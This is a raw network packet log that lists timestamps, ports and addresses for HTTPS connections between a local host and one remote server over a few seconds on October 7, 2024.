Oct 7, 2024 06:45:46.318002939 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.318325043 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.318356037 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.318370104 CEST	49843	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.318377018 CEST	443	49843	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.321245909 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.321346045 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.321429968 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.321624994 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.321692944 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.321738958 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.321738958 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.321796894 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.321813107 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.321887970 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.321947098 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.321947098 CEST	49844	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.321971893 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.321994066 CEST	443	49844	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.324228048 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.324306011 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.324379921 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.324495077 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.324521065 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.329118013 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.329226971 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.329287052 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.329298019 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.329330921 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.329380989 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.329449892 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.329449892 CEST	49842	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.329461098 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.329468012 CEST	443	49842	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.331582069 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.331640959 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.331715107 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.331830978 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.331847906 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.402364016 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.402976036 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.403001070 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.403467894 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.403472900 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.501199007 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.501355886 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.501416922 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.501512051 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.501538038 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.501554012 CEST	49845	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.501562119 CEST	443	49845	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.505054951 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.505114079 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.505192995 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.505383015 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.505402088 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.889588118 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.890832901 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.890834093 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.890858889 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.890882969 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.972398043 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.973156929 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.973187923 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.973639965 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.973925114 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.973972082 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.974040985 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.974061966 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.974364042 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.974374056 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.993913889 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.993952036 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.994009018 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.994016886 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.994062901 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.994420052 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.994441032 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.994457006 CEST	49846	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.994465113 CEST	443	49846	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.998245001 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.998286963 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:46.998372078 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.998533010 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:46.998550892 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.013864040 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.014539957 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.014584064 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.015285969 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.015295982 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.072779894 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.072849035 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.072951078 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.072968006 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.072999001 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.073142052 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.073160887 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.073175907 CEST	49848	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.073184013 CEST	443	49848	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.076127052 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.076163054 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.076239109 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.076411963 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.076427937 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.077032089 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.077156067 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.077214003 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.077271938 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.077296972 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.077312946 CEST	49847	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.077320099 CEST	443	49847	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.079524994 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.079566002 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.079623938 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.079735994 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.079752922 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.117930889 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.118136883 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.118195057 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.118237019 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.118237019 CEST	49849	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.118259907 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.118273020 CEST	443	49849	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.120798111 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.120835066 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.120908022 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.121068954 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.121087074 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.186738014 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.187639952 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.187671900 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.188250065 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.188261986 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.290832996 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.291079044 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.291147947 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.291258097 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.291282892 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.291296005 CEST	49850	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.291302919 CEST	443	49850	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.295142889 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.295208931 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.295363903 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.295546055 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.295563936 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.635432959 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.636050940 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.636091948 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.636756897 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.636765003 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.739500999 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.739593029 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.739643097 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.739866018 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.739895105 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.739909887 CEST	49851	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.739917994 CEST	443	49851	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.742259979 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.742810011 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.742841005 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.743283033 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.743320942 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.743412018 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.743422985 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.743423939 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.743535042 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.743547916 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.755490065 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.756378889 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.756414890 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.756891012 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.756920099 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.774028063 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.774569035 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.774611950 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.775095940 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.775103092 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.858922005 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.859016895 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.859168053 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.859186888 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.859249115 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.859536886 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.859560966 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.859591961 CEST	49852	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.859601021 CEST	443	49852	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.863356113 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.863421917 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.863523960 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.863692999 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.863717079 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.875763893 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.875802040 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.875861883 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.876024008 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.876740932 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.876761913 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.876780033 CEST	49854	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.876786947 CEST	443	49854	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.880683899 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.880723953 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.880861044 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.881035089 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.881052017 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.904028893 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.904126883 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.904285908 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.904664040 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.904687881 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.904706955 CEST	49853	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.904714108 CEST	443	49853	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.908674955 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.908718109 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.908812046 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.909008980 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.909022093 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.943681955 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.944413900 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.944459915 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:47.944881916 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:47.944890022 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.042117119 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.042292118 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.042390108 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.042758942 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.042790890 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.042807102 CEST	49855	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.042815924 CEST	443	49855	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.046479940 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.046513081 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.046605110 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.046837091 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.046854019 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.374424934 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.375365019 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.375437021 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.376130104 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.376141071 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.472932100 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.473078012 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.473150969 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.473345995 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.473371029 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.473386049 CEST	49856	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.473393917 CEST	443	49856	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.476907015 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.476958036 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.477046013 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.477286100 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.477300882 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.521898985 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.522586107 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.522619963 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.523096085 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.523106098 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.546982050 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.547553062 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.547574997 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.548218012 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.548224926 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.573023081 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.573892117 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.573914051 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.574749947 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.574759960 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.620142937 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.620218992 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.620342016 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.620418072 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.620460987 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.620879889 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.620907068 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.620922089 CEST	49858	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.620929956 CEST	443	49858	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.624603033 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.624650002 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.624728918 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.624872923 CEST	49862	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.624891996 CEST	443	49862	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.651140928 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.651300907 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.651381969 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.651773930 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.651796103 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.651815891 CEST	49857	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.651823997 CEST	443	49857	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.668859005 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.668920040 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.668998003 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.669385910 CEST	49863	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.669401884 CEST	443	49863	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.675937891 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.676028013 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.676131010 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.676284075 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.676301956 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.676316023 CEST	49859	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.676325083 CEST	443	49859	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.679666996 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.679698944 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.679768085 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.679905891 CEST	49864	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.679920912 CEST	443	49864	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.683736086 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.684382915 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.684395075 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.684885979 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.684890985 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.782278061 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.782659054 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.782752037 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.782803059 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.782852888 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.782922983 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.782983065 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.782983065 CEST	49860	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.783019066 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.783041954 CEST	443	49860	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.786945105 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.786994934 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:48.787084103 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.787278891 CEST	49865	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:48.787292957 CEST	443	49865	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.117391109 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.128071070 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.128101110 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.128609896 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.128616095 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.226147890 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.226919889 CEST	443	49861	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:49.227004051 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.235589027 CEST	49861	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:49.235618114 CEST	443	49861	13.107.246.45	192.168.2.8
